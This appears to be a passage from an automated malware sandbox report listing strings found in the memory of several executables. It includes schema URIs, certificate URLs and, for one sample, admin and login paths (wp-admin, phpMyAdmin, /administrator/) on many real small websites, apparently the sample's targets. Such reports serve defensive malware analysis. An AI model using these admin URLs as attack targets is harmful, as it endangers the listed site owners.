Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003FBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)msnbot/1.1
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)net/http:
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)pkcs7:
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sgeg-usa.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://smithstar.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://smithstar.com/-X
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://smithstar.com/wp-admin/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://smithstar.com/wp-admin/hpdio.com=j
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://smithstar.com/wp-admin/hpn.php
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://smithstar.com/wp-login.php
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/D
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000004058000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp, 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: 7B24.exe, 0000000D.00000002.2386114986.000000000421E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: 7B24.exe, 0000000D.00000002.2386114986.000000000421E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003FBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003FBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003FBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003FBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16V
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: 7B24.exe, 0000000D.00000002.2386114986.000000000421E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: 7B24.exe, 0000000D.00000002.2386114986.000000000421E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp, 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: 7B24.exe, 0000000D.00000002.2386114986.000000000421E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003FF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003FBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp, 7B24.exe, 0000000D.00000002.2386114986.0000000003FBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000004058000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp, 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp, 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp, 7B24.exe, 0000000D.00000002.2386114986.0000000003F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000004058000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003FD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp, 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003FE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003FBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003FF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8ResponseD
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003FBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9ResponseD
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://texasopendoor.com/phpMyAdmin/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://texasopendoor.com/pma/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tgcan.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tgcan.com/)
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tiltdesign.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tiltdesign.com/admin/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tiltdesign.com/admin/22
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tiltdesign.com/admin/5/v
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tiltdesign.com/admin/m:
Source: 5316.exe, 00000007.00000002.2893685989.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tiltdesign.com/administrator/
Source: 7017.exe, 0000000C.00000003.2056059422.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057378156.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061416337.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062578146.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057179953.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826F7000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062118934.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058035991.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057858326.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057569040.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2060162001.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057724321.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2059356242.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 7017.exe, 0000000C.00000003.2056059422.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057378156.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061416337.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062578146.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057179953.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826F7000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062118934.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058035991.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057858326.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057569040.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2060162001.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057724321.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2059356242.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 7017.exe, 0000000C.00000003.2056059422.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057378156.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061416337.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062578146.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057179953.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826F7000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062118934.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058035991.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057858326.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057569040.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2060162001.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057724321.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2059356242.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/plugins/agni-framework-plugin/inc/agni-custom-fonts/css/custom.
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.1
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/plugins/favorites/assets/css/favorites.css?ver=2.3.2
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/plugins/favorites/assets/js/favorites.min.js?ver=2.3.2
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/plugins/revslider/public/assets/js/rbtools.min.js?ver=6.6.8
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/plugins/revslider/public/assets/js/rs6.min.js?ver=6.6.8
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/plugins/super-socializer/css/front.css?ver=7.13.63
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/plugins/wp-image-zoooom-pro/assets/dist/image_zoom-frontend.min
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/themes/cookie-child/style.css?ver=1.0.1
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/themes/cookie-child/style.css?ver=6.1.4
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/themes/cookie/c
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/themes/cookie/css/Pe-icon-7-filled.min.css?ver=1.2.0
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/themes/cookie/css/Pe-icon-7-stroke.min.css?ver=1.2.0
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/themes/cookie/css/animate.min.css?ver=6.1.4
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/themes/cookie/css/cookie-plugins.css?ver=6.1.4
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/themes/cookie/css/cookie.css?ver=6.1.4
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/themes/cookie/css/ionicons.min.css?ver=2.0.0
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-content/themes/cookie/css/responsive.css?ver=1.0.1
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-includes/css/classic-themes.min.css?ver=1
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-includes/css/dist/block-library/style.min.css?ver=6.1.4
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.1
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twohillsstudio.com/wp-includes/wlwmanifest.xml
Source: 5316.exe, 00000007.00000002.2896435412.0000000003AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://u90soccercenter.com/administrator/
Source: 5316.exe, 00000007.00000002.2896435412.0000000003AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://u90soccercenter.com/administrator/com220c
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vaoypo.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vaoypo.com/om
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://walshfam.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://walshfam.com/e.com.auh
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://webmail.jayshreeautomation.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wethepros.com/
Source: 5316.exe, 00000007.00000002.2896435412.0000000003AB0000.00000004.00000020.00020000.00000000.sdmp, 5316.exe, 00000007.00000002.2896435412.0000000003ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wethepros.com/administrator/
Source: 5316.exe, 00000007.00000002.2896435412.0000000003ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wethepros.com/administrator/com.ar
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://woldsweather.plus.com/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://woldsweather.plus.com//P
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://woldsweather.plus.com/administrator/index.php
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.avantbrowser.com)MOT-V9mm/00.62
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baidu.com/search/spider.htm)MobileSafari/600.1.4
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/feedfetcher.html)HKLM
Source: B6AA.exe, 0000001B.00000003.2245608746.0000000002300000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: 5316.exe, 00000007.00000002.2896435412.0000000003A83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.lisvankooten.com/phpMyAdmin/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mayacreation.co.in
